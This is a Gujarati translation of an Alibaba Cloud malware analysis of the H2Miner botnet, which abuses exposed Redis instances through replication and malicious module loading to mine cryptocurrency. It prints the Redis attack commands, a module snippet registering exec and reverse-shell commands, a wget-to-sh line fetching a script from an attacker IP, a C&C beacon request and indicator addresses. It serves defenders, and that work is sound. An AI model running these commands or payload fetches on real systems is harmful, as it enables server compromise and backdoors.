H2Miner વોર્મ્સનો નવો ફાટી નીકળ્યો છે જે Redis RCEનું શોષણ કરે છે

એક દિવસ પહેલા, મારા પ્રોજેક્ટના સર્વર પર સમાન કૃમિ દ્વારા હુમલો કરવામાં આવ્યો હતો. "તે શું હતું?" પ્રશ્નના જવાબની શોધમાં મને અલીબાબા ક્લાઉડ સિક્યુરિટી ટીમ દ્વારા એક સરસ લેખ મળ્યો. મને આ લેખ હેબ્રે પર મળ્યો ન હોવાથી, મેં ખાસ કરીને તમારા માટે તેનો અનુવાદ કરવાનું નક્કી કર્યું <3

પરિચય

તાજેતરમાં, અલીબાબા ક્લાઉડની સુરક્ષા ટીમે H2Miner ના અચાનક ફાટી નીકળવાની શોધ કરી. આ પ્રકારનો દૂષિત કૃમિ તમારી સિસ્ટમના ગેટવે તરીકે Redis માટે અધિકૃતતાના અભાવ અથવા નબળા પાસવર્ડોનો ઉપયોગ કરે છે, જે પછી તે માસ્ટર-સ્લેવ સિંક્રનાઇઝેશન દ્વારા ગુલામ સાથે તેના પોતાના દૂષિત મોડ્યુલને સિંક્રનાઇઝ કરે છે અને અંતે આ દૂષિત મોડ્યુલને હુમલો કરેલ મશીનમાં ડાઉનલોડ કરે છે અને દૂષિત રીતે ચલાવે છે. સૂચનાઓ

ભૂતકાળમાં, તમારી સિસ્ટમો પરના હુમલાઓ મુખ્યત્વે સુનિશ્ચિત કાર્યો અથવા SSH કીને સમાવિષ્ટ પદ્ધતિનો ઉપયોગ કરીને હાથ ધરવામાં આવ્યા હતા જે હુમલાખોર Redis માં લૉગ ઇન થયા પછી તમારા મશીન પર લખવામાં આવ્યા હતા. સદભાગ્યે, આ પદ્ધતિનો ઉપયોગ પરવાનગી નિયંત્રણ સમસ્યાઓને કારણે અથવા વિવિધ સિસ્ટમ સંસ્કરણોને કારણે વારંવાર કરી શકાતો નથી. જો કે, દૂષિત મોડ્યુલ લોડ કરવાની આ પદ્ધતિ હુમલાખોરના આદેશોને સીધી રીતે ચલાવી શકે છે અથવા શેલની ઍક્સેસ મેળવી શકે છે, જે તમારી સિસ્ટમ માટે જોખમી છે.

ઈન્ટરનેટ (લગભગ 1 મિલિયન) પર હોસ્ટ કરેલા રેડિસ સર્વર્સની મોટી સંખ્યાને કારણે, અલીબાબા ક્લાઉડની સુરક્ષા ટીમ, એક મૈત્રીપૂર્ણ રીમાઇન્ડર તરીકે, ભલામણ કરે છે કે વપરાશકર્તાઓ રેડિસને ઓનલાઈન શેર ન કરે અને નિયમિતપણે તેમના પાસવર્ડ્સની મજબૂતાઈ તપાસે અને તેની સાથે ચેડા થયા છે કે કેમ. ઝડપી પસંદગી.

H2 Miner

H2Miner એ Linux-આધારિત સિસ્ટમ્સ માટે એક માઇનિંગ બોટનેટ છે જે તમારી સિસ્ટમ પર વિવિધ રીતે આક્રમણ કરી શકે છે, જેમાં Hadoop યાર્ન, ડોકર અને Redis રિમોટ કમાન્ડ એક્ઝિક્યુશન (RCE) નબળાઈઓમાં અધિકૃતતાના અભાવનો સમાવેશ થાય છે. બોટનેટ દૂષિત સ્ક્રિપ્ટો અને માલવેર ડાઉનલોડ કરીને તમારા ડેટાને ખનન કરીને, હુમલાને આડી રીતે વિસ્તૃત કરીને અને કમાન્ડ એન્ડ કંટ્રોલ (C&C) સંચાર જાળવવા દ્વારા કાર્ય કરે છે.

Redis RCE

ZeroNights 2018 ખાતે પાવેલ ટોપોર્કોવ દ્વારા આ વિષય પરનું જ્ઞાન શેર કરવામાં આવ્યું હતું. વર્ઝન 4.0 પછી, Redis એ પ્લગ-ઇન લોડિંગ સુવિધાને સપોર્ટ કરે છે જે વપરાશકર્તાઓને લોડ કરવાની ક્ષમતા આપે છે જેથી કરીને ચોક્કસ Redis આદેશો ચલાવવા માટે Redis માં C સાથે સંકલિત ફાઇલો. આ કાર્ય, ઉપયોગી હોવા છતાં, એક નબળાઈ ધરાવે છે જેમાં, માસ્ટર-સ્લેવ મોડમાં, ફાઈલોને ફુલરેસિંક મોડ દ્વારા સ્લેવ સાથે સિંક્રનાઇઝ કરી શકાય છે. આનો ઉપયોગ હુમલાખોર દ્વારા દૂષિત તેથી ફાઇલોને સ્થાનાંતરિત કરવા માટે કરી શકાય છે. ટ્રાન્સફર પૂર્ણ થયા પછી, હુમલાખોરો એટેક કરેલ રેડિસ ઇન્સ્ટન્સ પર મોડ્યુલ લોડ કરે છે અને કોઈપણ આદેશ ચલાવે છે.

માલવેર કૃમિ વિશ્લેષણ

તાજેતરમાં, અલીબાબા ક્લાઉડ સુરક્ષા ટીમે શોધ્યું કે H2Miner દૂષિત ખાણિયો જૂથનું કદ અચાનક નાટકીય રીતે વધી ગયું છે. વિશ્લેષણ મુજબ, હુમલાની ઘટનાની સામાન્ય પ્રક્રિયા નીચે મુજબ છે:

H2Miner સંપૂર્ણ હુમલા માટે RCE રેડિસનો ઉપયોગ કરે છે. હુમલાખોરો પહેલા અસુરક્ષિત રેડિસ સર્વર અથવા નબળા પાસવર્ડવાળા સર્વર પર હુમલો કરે છે.

પછી તેઓ આદેશનો ઉપયોગ કરે છે config set dbfilename red2.so ફાઇલનું નામ બદલવા માટે. આ પછી, હુમલાખોરો આદેશનો અમલ કરે છે slaveof માસ્ટર-સ્લેવ પ્રતિકૃતિ હોસ્ટ સરનામું સેટ કરવા માટે.

જ્યારે હુમલો કરાયેલ Redis ઉદાહરણ હુમલાખોરની માલિકીની દૂષિત Redis સાથે માસ્ટર-સ્લેવ કનેક્શન સ્થાપિત કરે છે, ત્યારે હુમલાખોર ફાઇલોને સિંક્રનાઇઝ કરવા માટે fullresync આદેશનો ઉપયોગ કરીને ચેપગ્રસ્ત મોડ્યુલ મોકલે છે. red2.so ફાઇલ પછી એટેક કરેલ મશીન પર ડાઉનલોડ કરવામાં આવશે. હુમલાખોરો પછી આ so ફાઈલ લોડ કરવા માટે ./red2.so લોડિંગ મોડ્યુલનો ઉપયોગ કરે છે. મોડ્યુલ હુમલાખોર પાસેથી આદેશો ચલાવી શકે છે અથવા હુમલો કરાયેલ મશીનની ઍક્સેસ મેળવવા માટે રિવર્સ કનેક્શન (બેકડોર) શરૂ કરી શકે છે.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

દૂષિત આદેશ ચલાવ્યા પછી જેમ કે / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, હુમલાખોર બેકઅપ ફાઇલનું નામ રીસેટ કરશે અને નિશાનોને સાફ કરવા માટે સિસ્ટમ મોડ્યુલને અનલોડ કરશે. જો કે, red2.so ફાઇલ હજી પણ એટેક કરેલ મશીન પર રહેશે. વપરાશકર્તાઓને તેમના Redis ઉદાહરણના ફોલ્ડરમાં આવી શંકાસ્પદ ફાઇલની હાજરી પર ધ્યાન આપવાની સલાહ આપવામાં આવે છે.

સંસાધનોની ચોરી કરવા માટે કેટલીક દૂષિત પ્રક્રિયાઓને મારવા ઉપરાંત, હુમલાખોરે દૂષિત દ્વિસંગી ફાઇલોને ડાઉનલોડ કરીને અને એક્ઝિક્યુટ કરીને દૂષિત સ્ક્રિપ્ટને અનુસરી 142.44.191.122/કિન્સિંગ. આનો અર્થ એ છે કે હોસ્ટ પર કિન્સિંગ ધરાવતું પ્રોસેસ નામ અથવા ડિરેક્ટરી નામ સૂચવી શકે છે કે તે મશીન આ વાયરસથી ચેપગ્રસ્ત છે.

રિવર્સ એન્જિનિયરિંગ પરિણામો અનુસાર, માલવેર મુખ્યત્વે નીચેના કાર્યો કરે છે:

• ફાઇલો અપલોડ કરવી અને તેને એક્ઝિક્યુટ કરવી
• ખાણકામ
• C&C સંચાર જાળવવો અને હુમલાખોર આદેશોનો અમલ કરવો

તમારા પ્રભાવને વિસ્તૃત કરવા માટે બાહ્ય સ્કેનિંગ માટે માસકેનનો ઉપયોગ કરો. વધુમાં, C&C સર્વરનું IP સરનામું પ્રોગ્રામમાં હાર્ડ-કોડેડ છે, અને હુમલો કરાયેલ હોસ્ટ HTTP વિનંતીઓનો ઉપયોગ કરીને C&C કોમ્યુનિકેશન સર્વર સાથે વાતચીત કરશે, જ્યાં HTTP હેડરમાં ઝોમ્બી (સમાધાન સર્વર) માહિતી ઓળખવામાં આવે છે.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

અન્ય હુમલા પદ્ધતિઓ

કૃમિ દ્વારા ઉપયોગમાં લેવાતા સરનામાં અને લિંક્સ

/ સગપણ

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

s&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

ટિપ

પ્રથમ, Redis ઈન્ટરનેટથી સુલભ ન હોવું જોઈએ અને મજબૂત પાસવર્ડથી સુરક્ષિત હોવું જોઈએ. તે પણ મહત્વનું છે કે ક્લાયન્ટ્સ તપાસ કરે કે Redis ડિરેક્ટરીમાં કોઈ red2.so ફાઇલ નથી અને હોસ્ટ પર ફાઇલ/પ્રોસેસના નામમાં કોઈ "કિન્સિંગ" નથી.

સોર્સ: www.habr.com